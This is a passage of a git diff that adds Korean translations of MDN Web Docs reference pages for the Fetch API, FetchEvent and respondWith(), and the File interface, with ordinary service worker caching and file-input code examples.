+ <li><a href="/ko/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/ko/docs/Web/HTTP/Access_control_CORS">HTTP 액세스 제어 (CORS)</a></li>
+ <li><a href="/ko/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="https://github.com/mdn/fetch-examples/">Fetch examples on Github</a></li>
+</ul>
+
+<p>{{DefaultAPISidebar("Fetch API")}} </p>
diff --git a/files/ko/web/api/fetch_api/index.html b/files/ko/web/api/fetch_api/index.html
new file mode 100644
index 0000000000..d3b3d7b672
--- /dev/null
+++ b/files/ko/web/api/fetch_api/index.html
@@ -0,0 +1,88 @@
+---
+title: Fetch API
+slug: Web/API/Fetch_API
+tags:
+ - API
+ - Experimental
+ - Fetch
+ - Landing
+ - Reference
+translation_of: Web/API/Fetch_API
+---
+<div>{{DefaultAPISidebar("Fetch API")}}</div>
+
+<p><strong>Fetch API</strong>는 네트워크 통신을 포함한 리소스 취득을 위한 인터페이스가 정의되어 있습니다.  {{domxref("XMLHttpRequest")}}와 같은 비슷한 API가 존재합니다만, 새로운 Fetch API는 좀더 강력하고 유연한 조작이 가능합니다.</p>
+
+<h2 id="기본_개념과_사용_방법">기본 개념과 사용 방법</h2>
+
+<p>Fetch에는 일반적인 오브젝트로로 {{domxref("Request")}} 와 {{domxref("Response")}}가 포함되어 있습니다.  이것들은 service worker이나 Cache API같이 Response와 Request객체를 다루는 API나 독자적으로 리스폰스를 발생시키는 경우에도 사용 가능합니다.</p>
+
+<p>또한 CORS나 HTTP 오리진 헤더의 행동에 관련한 개념에 대해서도 정의되어 있습니다. 이 정의는 여러곳에 분산되어있는 갖가지 행동에대한 정의들을 한곳에 고쳐 쓴 것입니다.</p>
+
+<p>Fetch API로 리소스를 취득하기 위해서 {{domxref("GlobalFetch.fetch")}} 메소드를 불러들여야 합니다. 이 메소드는  {{domxref("Window")}}나 {{domxref("WorkerGlobalScope")}}와 같은 인터페이스로부터 구현되었습니다. </p>
+
+<p><code>fetch()</code>를 불러들이는 경우, 취득할 리소스를 반드시 인수로 지정하지 않으면 안됩니다. 읽어들인 뒤,  <code>fetch()</code>는 <code>Promise</code>객체를 반환합니다. 리퀘스트가 성공하든 실패하든 해당 리퀘스트 통신에 대한 {{domxref("Response")}}객체가 취득됩니다. <code>fetch()</code>의 두번째 인수는 초기화에 사용되는 객체를 정의하고 있습니다. 이 인수는 기입하지 않아도 함수의 동작에 문제가 없습니다. 이 인수에 대한 상세한 정보는 {{domxref("Request")}})를 참고해주시기 바랍니다.</p>
+
+<p>{{domxref("Response")}}를 가져온 후에, 콜백함수의 매개변수로 담긴 response 객체에는 리스폰스에 포함되어있는 컨텐츠와 그에대한 처리방법이 담긴 메소드들이 담겨있습니다. 자세한 사항은 {{domxref("Body")}}를 참고해주시기 바랍니다.</p>
+
+<p>{{domxref("Request.Request","Request()")}}와 {{domxref("Response.Response","Response()")}}를 사용하는 것으로, Request와 Response를 직접 작성할 수 있습니다. 하지만 이러한 추가 옵션들은   {{domxref("FetchEvent.respondWith")}}와 같은 또다른 API를 불러 들이는 작업이 수행되어야 하므로 필요하지 않다면 굳이 작성하지 않는 편이 좋습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: Fetch API에 대한 자세한 이용방법은 <a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a>를 참고해주시기 바랍니다. 또한  <a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a>에서는 Fetch API의 기본개념 또한 설명되어 있습니다.</p>
+</div>
+
+<h3 id="Aborting_a_fetch">Aborting a fetch</h3>
+
+<p>몇몇 브라우저들은 {{domxref("AbortController")}}와 {{domxref("AbortSignal")}} 인터페이스에 대한 실험적인 기능을 추가로 지원하였습니다. 만약 Fetch API와 XHR API 호출이 완료되지 않았다면, 중단 될 수 있도록 하는 기능입니다. 자세한 사항은 인터페이스 문서를 참고해주시기 바랍니다.</p>
+
+<h2 id="Fetch_인터페이스">Fetch 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("GlobalFetch")}}</dt>
+ <dd>리소스를 취득하기 위해 사용되는  <code>fetch()</code> 메서드가 정의되어 있습니다.</dd>
+ <dt>{{domxref("Headers")}}</dt>
+ <dd>리퀘스트와 리스폰스 객체에 대한 헤더입니다. 헤더정보에 보내는 쿼리나 통신 결과의 행동에 대한 선택이 가능합니다.</dd>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>리소스에 대한 리퀘스트의 객체입니다.</dd>
+ <dt>{{domxref("Response")}}</dt>
+ <dd>리퀘스트에 대한 리스폰스 객체입니다.</dd>
+</dl>
+
+<h2 id="Fetch_믹스인">Fetch 믹스인</h2>
+
+<dl>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>Response와 Request 본체에 관련한 메소드들이 정의되어 있습니다. 이것들을 이용함으로써 response 결과물을 html, json과 같이 컨텐츠 타입별로 처리하는것이 가능합니다. </dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="관련정보">관련정보</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a></li>
+</ul>
diff --git a/files/ko/web/api/fetchevent/index.html b/files/ko/web/api/fetchevent/index.html
new file mode 100644
index 0000000000..9b0e1cce34
--- /dev/null
+++ b/files/ko/web/api/fetchevent/index.html
@@ -0,0 +1,110 @@
+---
+title: FetchEvent
+slug: Web/API/FetchEvent
+tags:
+ - API
+ - FetchEvent
+ - Interface
+ - NeedsTranslation
+ - Offline
+ - Reference
+ - Service Workers
+ - TopicStub
+ - Workers
+translation_of: Web/API/FetchEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">This is the event type for <code>fetch</code> events dispatched on the {{domxref("ServiceWorkerGlobalScope", "service worker global scope", "", 1)}}. It contains information about the fetch, including the request and how the receiver will treat the response. It provides the {{domxref("FetchEvent.respondWith", "event.respondWith()")}} method, which allows us to provide a response to this fetch.</span></p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}</dt>
+ <dd>Creates a new <code>FetchEvent</code> object. This constructor is not typically used. The browser creates these objects itself and provides them to <code>fetch</code> event callbacks.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its ancestor, {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.clientId")}} {{readonlyInline}}</dt>
+ <dd>The {{domxref("Client.id", "id")}} of the same-origin {{domxref("Client", "client")}} that initiated the fetch.</dd>
+ <dt>{{domxref("fetchEvent.preloadResponse")}} {{readonlyinline}}</dt>
+ <dd>A {{jsxref("Promise")}} for a {{domxref("Response")}}, or void if this is not a navigation, or {{domxref("NavigationPreloadManager", "navigation preload", "", 1)}} is not enabled.</dd>
+ <dt>{{domxref("fetchEvent.request")}} {{readonlyInline}}</dt>
+ <dd>The {{domxref("Request")}} the browser intends to make.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("ExtendableEvent")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.respondWith()")}}</dt>
+ <dd>Prevent the browser's default fetch handling, and provide (a promise for) a response yourself.</dd>
+ <dt>{{domxref("extendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Extends the lifetime of the event. Used to notify the browser of tasks that extend beyond the returning of a response, such as streaming and caching.</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This fetch event uses the browser default for non-GET requests. For GET requests it tries to return a match in the cache, and falls back to the network. If it finds a match in the cache, it asynchronously updates the cache for next time.</p>
+
+<pre class="brush: js">addEventListener('fetch', event =&gt; {
+  // Let the browser do its default thing
+  // for non-GET requests.
+  if (event.request.method != 'GET') return;
+
+  // Prevent the default, and handle the request ourselves.
+  event.respondWith(async function() {
+    // Try to get the response from a cache.
+    const cache = await caches.open('dynamic-v1');
+    const cachedResponse = await cache.match(event.request);
+
+    if (cachedResponse) {
+      // If we found a match in the cache, return it, but also
+      // update the entry in the cache in the background.
+      event.waitUntil(cache.add(event.request));
+      return cachedResponse;
+    }
+
+    // If we didn't find a match in the cache, use the network.
+    return fetch(event.request);
+  }());
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#fetch-event-section', 'FetchEvent')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.FetchEvent")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/fetchevent/respondwith/index.html b/files/ko/web/api/fetchevent/respondwith/index.html
new file mode 100644
index 0000000000..1e348c699c
--- /dev/null
+++ b/files/ko/web/api/fetchevent/respondwith/index.html
@@ -0,0 +1,115 @@
+---
+title: FetchEvent.respondWith()
+slug: Web/API/FetchEvent/respondWith
+translation_of: Web/API/FetchEvent/respondWith
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">{{domxref("FetchEvent")}}의 <strong><code>respondWith()</code></strong> 메소드는 브라우저의 기본 fetch 핸들링을 막고, 당신 스스로 {{domxref("Response")}}에 대한 promise를 제공할 수 있게 허락합니다.</span></p>
+
+<p>대부분의 상황에서 당신은 수신자가 이해하는 어떠한 응답이라도 제공할 수 있습니다. 예를 들어, {{HTMLElement('img')}} 엘리먼트가 해당 요청을 시작했다면, 응답 객체는 이미지 데이터를 필요로 합니다. 보안적인 이유들로, 여기엔 몇가지 전역 규칙이 존재합니다.</p>
+
+<ul>
+ <li>You can only return {{domxref("Response")}} objects of {{domxref("Response.type", "type")}} "<code>opaque</code>" if the {{domxref("fetchEvent.request")}} object's {{domxref("request.mode", "mode")}} is "<code>no-cors</code>".  This prevents the leaking of private data.</li>
+ <li>You can only return {{domxref("Response")}} objects of {{domxref("Response.type", "type")}} "<code>opaqueredirect</code>" if the {{domxref("fetchEvent.request")}} object's {{domxref("request.mode", "mode")}} is "<code>manual</code>".</li>
+ <li>You cannot return {{domxref("Response")}} objects of {{domxref("Response.type", "type")}} "<code>cors</code>" if the {{domxref("fetchEvent.request")}} object's {{domxref("request.mode", "mode")}} is "<code>same-origin</code>".</li>
+</ul>
+
+<h3 id="Specifying_the_final_URL_of_a_resource">Specifying the final URL of a resource</h3>
+
+<p>From Firefox 59 onwards, when a service worker provides a {{domxref("Response")}} to {{domxref("FetchEvent.respondWith()")}}, the {{domxref("Response.url")}} value will be propagated to the intercepted network request as the final resolved URL.  If the {{domxref("Response.url")}} value is the empty string, then the {{domxref("Request.url","FetchEvent.request.url")}} is used as the final URL.</p>
+
+<p>In the past the {{domxref("Request.url","FetchEvent.request.url")}} was used as the final URL in all cases.  The provided {{domxref("Response.url")}} was effectively ignored.</p>
+
+<p>This means, for example, if a service worker intercepts a stylesheet or worker script, then the provided {{domxref("Response.url")}} will be used to resolve any relative {{cssxref("@import")}} or {{domxref("WorkerGlobalScope.importScripts()","importScripts()")}} subresource loads ({{bug(1222008)}}).</p>
+
+<p>For most types of network request this change has no impact because you can't observe the final URL.  There are a few, though, where it does matter:</p>
+
+<ul>
+ <li>If a {{domxref("WindowOrWorkerGlobalScope.fetch()", "fetch()")}} is intercepted, then you can observe the final URL on the result's {{domxref("Response.url")}}.</li>
+ <li>If a <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> script is intercepted, then the final URL is used to set <code><a href="/en-US/docs/Web/API/WorkerGlobalScope/location">self.location</a></code> and used as the base URL for relative URLs in the worker script.</li>
+ <li>If a stylesheet is intercepted, then the final URL is used as the base URL for resolving relative {{cssxref("@import")}} loads.</li>
+</ul>
+
+<p>Note that navigation requests for {{domxref("Window","Windows")}} and {{domxref("HTMLIFrameElement","iframes")}} do NOT use the final URL.  The way the HTML specification handles redirects for navigations ends up using the request URL for the resulting {{domxref("Window.location")}}.  This means sites can still provide an "alternate" view of a web page when offline without changing the user-visible URL.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">fetchEvent.respondWith(
+ // Promise that resolves to a Response.
+​)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>A {{jsxref("Promise")}} for a {{domxref("Response")}}.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Void.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Exception</th>
+ <th scope="col">Notes</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>NetworkError</code></td>
+ <td>A network error is triggered on certain combinations of {{domxref("Request.mode","FetchEvent.request.mode")}} and {{domxref("Response.type")}}  values, as hinted at in the "global rules" listed above.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This fetch event tries to return a response from the cache API, falling back to the network otherwise.</p>
+
+<pre class="brush: js">addEventListener('fetch', event =&gt; {
+  // Prevent the default, and handle the request ourselves.
+  event.respondWith(async function() {
+    // Try to get the response from a cache.
+    const cachedResponse = await caches.match(event.request);
+    // Return it if we found one.
+    if (cachedResponse) return cachedResponse;
+    // If we didn't find a match in the cache, use the network.
+    return fetch(event.request);
+  }());
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#fetch-event-respondwith-method', 'respondWith()')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.FetchEvent.respondWith")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/file/file/index.html b/files/ko/web/api/file/file/index.html
new file mode 100644
index 0000000000..4445ced75f
--- /dev/null
+++ b/files/ko/web/api/file/file/index.html
@@ -0,0 +1,72 @@
+---
+title: File.File()
+slug: Web/API/File/File
+tags:
+ - API
+ - Constructor
+ - File
+ - Reference
+ - 파일
+translation_of: Web/API/File/File
+---
+<div>{{APIRef("File")}}</div>
+
+<p><code><strong>File()</strong></code> 생성자는 {{domxref("File")}} 객체의 새로운 인스턴스를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new File(<em>bits</em>, <em>name</em>[, <em>options</em>]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>bits</code></dt>
+ <dd>{{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, 또는 {{domxref("DOMString")}} 객체로 이루어진 {{jsxref("Array")}}. UTF-8로 인코딩한 파일 내용입니다.</dd>
+ <dt><code>name</code></dt>
+ <dd>파일명이나 파일의 경로를 나타내는 {{domxref("USVString")}}.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>파일의 추가 속성을 담은 옵션 객체. 가능한 옵션은 다음과 같습니다.
+ <ul>
+ <li><code>type</code>: 파일 내용의 MIME 유형을 나타내는 {{domxref("DOMString")}}. 기본값은 빈 문자열입니다.</li>
+ <li><code>lastModified</code>: 유닉스 시간(1970-01-01T00:00:00Z)과 파일이 마지막으로 변경된 시각의 밀리초 차이. 기본값은 {{jsxref("Date.now()")}}의 값입니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var file = new File(["foo"], "foo.txt", {
+ type: "text/plain",
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('File API')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.File.File")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/ko/web/api/file/index.html b/files/ko/web/api/file/index.html
new file mode 100644
index 0000000000..b94140e633
--- /dev/null
+++ b/files/ko/web/api/file/index.html
@@ -0,0 +1,99 @@
+---
+title: File
+slug: Web/API/File
+tags:
+ - API
+ - File API
+ - Interface
+ - Reference
+ - Web
+ - 파일
+translation_of: Web/API/File
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>File</code></strong> 인터페이스는 파일에 대한 정보를 제공하고, 웹 페이지의 JavaScript가 해당 내용에 접근할 수 있는 방법을 제공합니다.</p>
+
+<p><code>File</code> 객체는 보통 {{domxref("FileList")}} 객체에서 가져올 수 있습니다. 그리고 <code>FileList</code> 객체는 사용자가 {{HTMLElement("input")}} 요소에서 파일을 선택했을 때, 드래그 앤 드롭 작업의 {{domxref("DataTransfer")}} 객체에서, 그리고 {{domxref("HTMLCanvasElement")}}의 <code>mozGetAsFile()</code> API에서 반환합니다.</p>
+
+<p><code>File</code> 객체는 특정 종류의 {{domxref("Blob")}}이며, <code>Blob</code>을 사용할 수 있는 모든 맥락에서 사용할 수 있습니다. 특히 {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, {{domxref("XMLHttpRequest", "", "send()")}}는 <code>Blob</code>과 <code>File</code>을 모두 허용합니다.</p>
+
+<p>자세한 정보 및 예제는 <a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 애플리케이션에서 파일 사용하기</a>를 참고하세요.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("File.File", "File()")}}</dt>
+ <dd>새로 생성한 <code>File</code>을 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("File.lastModified")}} {{readonlyinline}}</dt>
+ <dd>파일의 최종 수정 시간을 UNIX 시간(1970년 1월 1일 자정)과의 밀리초 차이로 반환합니다.</dd>
+ <dt>{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}}</dt>
+ <dd><code>File</code> 객체가 참조하는 파일의 마지막 수정 시간을 {{jsxref("Date")}}로 반환합니다.</dd>
+ <dt>{{domxref("File.name")}} {{readonlyinline}}</dt>
+ <dd><code>File</code> 객체가 참조하는 파일의 이름을 반환합니다.</dd>
+ <dt>{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>{{domxref("File")}}의 URL 상대경로를 반환합니다.</dd>
+</dl>
+
+<p><code>File</code>이 {{domxref("Blob")}} 을 구현하기 때문에 사용할 수 있는 속성도 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("File.size")}} {{readonlyinline}}</dt>
+ <dd><code>File</code>의 크기를 바이트 단위로 반환합니다.</dd>
+ <dt>{{domxref("File.type")}} {{readonlyinline}}</dt>
+ <dd><code>File</code>의 <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 유형</a>을 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em><code>File</code> 인터페이스는 메서드를 정의하지 않지만, {{domxref("Blob")}} 인터페이스에서 메서드를 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Blob.slice()")}}</dt>
+ <dd>소스 <code>Blob</code>에서 지정한 바이트 범위 만큼의 데이터를 포함하는, 새로운 <code>Blob</code> 객체를 반환합니다.</dd>
+ <dt>{{domxref("Blob.stream()")}}</dt>
+ <dd><code>File</code>을 {{domxref("ReadableStream")}}으로 변환합니다. <code>ReadableStream</code>은 파일 내용을 읽을 때 사용할 수 있습니다.</dd>
+ <dt>{{domxref("Blob.text()")}}</dt>
+ <dd><code>File</code>을 스트림으로 변환한 후 끝까지 읽습니다. {{domxref("USVString")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Blob.arrayBuffer()")}}</dt>
+ <dd><code>File</code>을 스트림으로 변환한 후 끝까지 읽습니다. {{domxref("ArrayBuffer")}}로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('File API', "#file-section", "The <code>File</code> interface")}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.File")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 애플리케이션에서 파일 사용하기</a></li>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ko/web/api/file/name/index.html b/files/ko/web/api/file/name/index.html
new file mode 100644
index 0000000000..0aa67a8374
--- /dev/null
+++ b/files/ko/web/api/file/name/index.html
@@ -0,0 +1,66 @@
+---
+title: File.name
+slug: Web/API/File/name
+tags:
+ - API
+ - File API
+ - Property
+ - Reference
+ - 파일
+translation_of: Web/API/File/name
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><strong><code>name</code></strong> 속성은 {{domxref("File")}} 객체가 나타내는 파일의 이름을 반환합니다. 보안상의 이유로 경로는 이름에서 제외됩니다.</p>
+
+<h2 id="값">값</h2>
+
+<p><code>"My Resume.rtf"</code>와 같이 경로가 없는 파일의 이름을 포함하는 문자열입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;input type="file" multiple onchange="processSelectedFiles(this)"&gt;
+</pre>
+
+<pre class="brush: js">function processSelectedFiles(fileInput) {
+ var files = fileInput.files;
+
+ for (var i = 0; i &lt; files.length; i++) {
+ alert("Filename " + files[i].name);
+ }
+}</pre>
+
+<p>아래에서 결과를 확인해보세요.</p>
+
+<p>{{ EmbedLiveSample('예제', 300, 50) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API', '#file-attrs', 'name')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.File.name")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 어플리케이션에서 파일 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/file/size/index.html b/files/ko/web/api/file/size/index.html
new file mode 100644
index 0000000000..eb133e801f
--- /dev/null
+++ b/files/ko/web/api/file/size/index.html
@@ -0,0 +1,30 @@
+---
+title: File.size
+slug: Web/API/File/size
+translation_of: Web/API/File/size
+---
+<p>{{APIRef("File API") }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>파일의 크기를 바이트 단위로 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>var size = <em>instanceOfFile</em>.size</pre>
+
+<h2 id="Value">Value</h2>
+
+<p>숫자</p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>사양에 포함되지 않았습니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Blob.size")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/file/using_files_from_web_applications/index.html b/files/ko/web/api/file/using_files_from_web_applications/index.html
new file mode 100644
index 0000000000..7c4a27357d
--- /dev/null
+++ b/files/ko/web/api/file/using_files_from_web_applications/index.html
@@ -0,0 +1,496 @@
+---
+title: 웹 어플리케이션에서 파일 사용하기
+slug: Web/API/File/Using_files_from_web_applications
+translation_of: Web/API/File/Using_files_from_web_applications
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>HTML5의 DOM으로 추가된 File API를 사용하여, 이제 웹 컨텐츠가 사용자에게 로컬 파일을 선택한 후 파일의 컨텐츠를 읽도록 요청할 수 있습니다. 이 선택은 HTML {{HTMLElement("input")}} 엘리먼트나 드래그 앤 드랍을 사용하는 것으로도 수행할 수 있습니다.</p>
+
+<p>원하신다면 확장 기능이나 다른 브라우저 크롬 코드에서도 DOM File API를 사용하실 수 있습니다. 하지만, 조심해야할 몇 가지 부가적인 기능들이 있음을 유의하세요. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">크롬 코드에서 DOM File API 사용하기</a> 글을 확인하세요.</p>
+
+<h2 id="선택한_파일에_접근하기">선택한 파일에 접근하기</h2>
+
+<p>다음 HTML을 생각해봅시다.</p>
+
+<pre class="brush: html">&lt;input type="file" id="input"&gt;</pre>
+
+<p>File API는 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}에 접근할 수 있게 해줍니다.</p>
+
+<p>사용자가 하나의 파일만을 선택한 경우, 리스트의 첫 번째 파일만 고려하면 됩니다.</p>
+
+<p>기존의 DOM 셀렉터를 사용하여 선택된 하나의 파일에 접근하기:</p>
+
+<pre class="brush: js">const selectedFile = document.getElementById('input').files[0];</pre>
+
+<h3 id="change_이벤트에서_선택한_파일에_접근하기">change 이벤트에서 선택한 파일에 접근하기</h3>
+
+<p><code>change</code> 이벤트를 통해 {{DOMxRef("FileList")}}에 접근할수도 있습니다(필수는 아닙니다).</p>
+
+<pre class="brush: html">&lt;input type="file" id="input" onchange="handleFiles(this.files)"&gt;</pre>
+
+<p>사용자가 하나의 파일을 선택할 때, 사용자에 의해 선택된 파일을 나타내는 객체인 {{DOMxRef("File")}}을 포함하는 {{DOMxRef("FileList")}}와 함께 <code>handlerFiles()</code> 함수가 호출됩니다.</p>
+
+<p>사용자가 여러 파일을 선택할 수 있도록 하길 원할 경우, 간단히 <code>input</code> 엘리먼트에서 <code>multiple</code> 속성을 사용하면됩니다.</p>
+
+<pre class="brush: html">&lt;input type="file" id="input" multiple onchange="handleFiles(this.files)"&gt;</pre>
+
+<p>이 경우, <code>handleFiles()</code> 함수로 전달된 파일 리스트는 사용자가 선택한 각 파일에 대해 하나의 {{DOMxRef("File")}} 객체를 갖습니다.</p>
+
+<h3 id="동적으로_change_리스너_추가하기">동적으로 change 리스너 추가하기</h3>
+
+<p><code>change</code> 이벤트 리스너를 추가하려면 {{DOMxRef("EventTarget.addEventListener()")}}를 다음과 같이 사용해야합니다.</p>
+
+<pre class="brush: js">const inputElement = document.getElementById("input");
+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+ const fileList = this.files; /* 이제 파일 리스트로 작업할 수 있습니다 */
+}</pre>
+
+<p>이 경우에는, 파라미터를 전달한 이벤트 핸들러에의해 호출된 이전 예제에서와 달리, <code>handleFiles()</code> 함수 자체가 이벤트 핸들러임을 유의하세요.</p>
+
+<h2 id="선택한_파일에_대한_정보_얻기">선택한 파일에 대한 정보 얻기</h2>
+
